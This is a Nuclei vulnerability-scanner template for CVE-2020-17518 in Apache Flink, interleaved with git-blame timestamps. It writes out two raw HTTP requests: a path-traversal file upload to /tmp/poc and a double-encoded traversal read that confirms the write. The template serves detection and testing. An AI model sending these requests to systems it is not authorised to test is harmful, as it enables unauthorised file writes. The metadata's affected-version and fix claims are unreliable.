nuclei-templates/http/cves/2020/CVE-2020-17518.yaml

53 lines
2.4 KiB
YAML
Raw Normal View History

2021-01-06 17:38:45 +00:00
id: CVE-2020-17518
info:
name: Apache Flink 1.5.1 - Local File Inclusion
2021-04-06 06:46:11 +00:00
author: pdteam
severity: high
2021-03-11 14:25:31 +00:00
description: |
Apache Flink 1.5.1 is vulnerable to local file inclusion because of a REST handler that allows file uploads to an arbitrary location on the local file system through a maliciously modified HTTP HEADER.
2023-09-27 15:51:13 +00:00
impact: |
An attacker can exploit this vulnerability to access sensitive information, such as configuration files, credentials, or other sensitive data stored on the server.
2023-09-06 12:22:36 +00:00
remediation: |
Upgrade Apache Flink to a version that is not affected by the vulnerability (1.5.2 or later).
reference:
- https://github.com/vulhub/vulhub/tree/master/flink/CVE-2020-17518
- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261%40%3Cdev.flink.apache.org%3E
- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cuser.flink.apache.org%3E
- https://lists.apache.org/thread.html/rb43cd476419a48be89c1339b527a18116f23eec5b6df2b2acbfef261@%3Cdev.flink.apache.org%3E
- https://nvd.nist.gov/vuln/detail/CVE-2020-17518
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:H/A:N
cvss-score: 7.5
cve-id: CVE-2020-17518
2023-07-11 19:49:27 +00:00
cwe-id: CWE-22,CWE-23
epss-score: 0.86056
epss-percentile: 0.98301
2023-09-06 12:22:36 +00:00
cpe: cpe:2.3:a:apache:flink:*:*:*:*:*:*:*:*
metadata:
max-request: 2
2023-07-11 19:49:27 +00:00
vendor: apache
product: flink
2024-01-14 09:21:50 +00:00
tags: cve2020,cve,lfi,flink,fileupload,vulhub,apache,intrusive
2021-01-06 17:38:45 +00:00
http:
2021-01-06 17:38:45 +00:00
- raw:
- |
POST /jars/upload HTTP/1.1
Host: {{Hostname}}
Accept: */*
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryoZ8meKnrrso89R6Y
2021-01-07 18:49:39 +00:00
2021-01-06 17:38:45 +00:00
------WebKitFormBoundaryoZ8meKnrrso89R6Y
Content-Disposition: form-data; name="jarfile"; filename="../../../../../../../tmp/poc"
2021-01-07 18:49:39 +00:00
2023-07-05 07:50:14 +00:00
{{randstr}}
2021-01-06 17:38:45 +00:00
------WebKitFormBoundaryoZ8meKnrrso89R6Y--
2023-07-05 07:50:14 +00:00
- |
GET /jobmanager/logs/..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252f..%252ftmp%252fpoc HTTP/1.1
2021-01-06 17:38:45 +00:00
matchers:
- type: dsl
dsl:
2023-07-11 19:49:27 +00:00
- 'contains(body_2, "{{randstr}}") && status_code == 200'
# digest: 490a0046304402205570104598ee83206abdcb1418c3b615a3cbc4e3408dbf1e52c88c9ae2814b52022050e866d7f1f34ac958e583294080c2e7b8f99d49f90eddb2c4d855b851709e2d:922c64590222798bb761d5b6d8e72950